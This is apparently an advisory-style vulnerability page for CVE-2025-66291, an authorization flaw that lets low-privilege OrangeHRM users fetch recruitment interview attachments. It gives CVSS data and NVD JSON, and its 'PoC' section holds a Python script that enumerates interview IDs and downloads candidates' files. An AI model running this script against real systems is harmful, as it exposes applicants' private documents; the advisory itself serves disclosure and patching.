Security Vulnerability Report
中文
CVE-2025-66291 CVSS 4.3 MEDIUM

CVE-2025-66291

Published: 2025-11-29 04:15:58
Last Modified: 2025-12-03 16:30:14

Description

OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the interview attachment retrieval endpoint in the Recruitment module serves files based solely on an authenticated session and user-supplied identifiers, without verifying whether the requester has permission to access the associated interview record. Because the server does not perform any recruitment-level authorization checks, an ESS-level user with no access to recruitment workflows can directly request interview attachment URLs and receive the corresponding files. This exposes confidential interview documents—including candidate CVs, evaluations, and supporting files—to unauthorized users. The issue arises from relying on predictable object identifiers and session presence rather than validating the user’s association with the relevant recruitment process. This issue has been patched in version 5.8.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:* - VULNERABLE
OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66291 PoC - OrangeHRM Interview Attachment Unauthorized Access # This PoC demonstrates accessing interview attachments without proper authorization TARGET_URL = "http://target-orangehrm.com" LOGIN_URL = f"{TARGET_URL}/auth/login" ATTACHMENT_URL = f"{TARGET_URL}/recruitment/interview/attachments" def login(session, username, password): """Login to OrangeHRM with ESS credentials""" login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 or "session" in response.cookies def access_interview_attachment(session, interview_id): """Access interview attachment by ID without authorization check""" # The vulnerable endpoint directly serves files based on ID # No recruitment module permission verification params = { "interviewId": interview_id } response = session.get(ATTACHMENT_URL, params=params) return response def main(): if len(sys.argv) < 3: print("Usage: python poc.py <username> <password>") sys.exit(1) username = sys.argv[1] password = sys.argv[2] session = requests.Session() # Step 1: Login as ESS user (low privilege) if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[+] Successfully logged in as ESS user") # Step 2: Enumerate and access interview attachments for interview_id in range(1, 100): print(f"[*] Attempting to access interview ID: {interview_id}") response = access_interview_attachment(session, interview_id) if response.status_code == 200 and 'attachment' in response.headers.get('Content-Type', ''): print(f"[+] SUCCESS: Downloaded attachment for interview ID {interview_id}") # Save the attachment filename = f"interview_{interview_id}_attachment" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Saved to {filename}") elif response.status_code == 200: print(f"[*] Found interview record ID {interview_id}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66291", "sourceIdentifier": "[email protected]", "published": "2025-11-29T04:15:58.200", "lastModified": "2025-12-03T16:30:13.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the interview attachment retrieval endpoint in the Recruitment module serves files based solely on an authenticated session and user-supplied identifiers, without verifying whether the requester has permission to access the associated interview record. Because the server does not perform any recruitment-level authorization checks, an ESS-level user with no access to recruitment workflows can directly request interview attachment URLs and receive the corresponding files. This exposes confidential interview documents—including candidate CVs, evaluations, and supporting files—to unauthorized users. The issue arises from relying on predictable object identifiers and session presence rather than validating the user’s association with the relevant recruitment process. This issue has been patched in version 5.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8", "matchCriteriaId": "6B30DE92-57A2-492F-A3F3-B8EFEEBEFE70"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/commit/647133d0fdda989a4836845a6531277078a84607", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-v32g-r8xx-4g6g", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}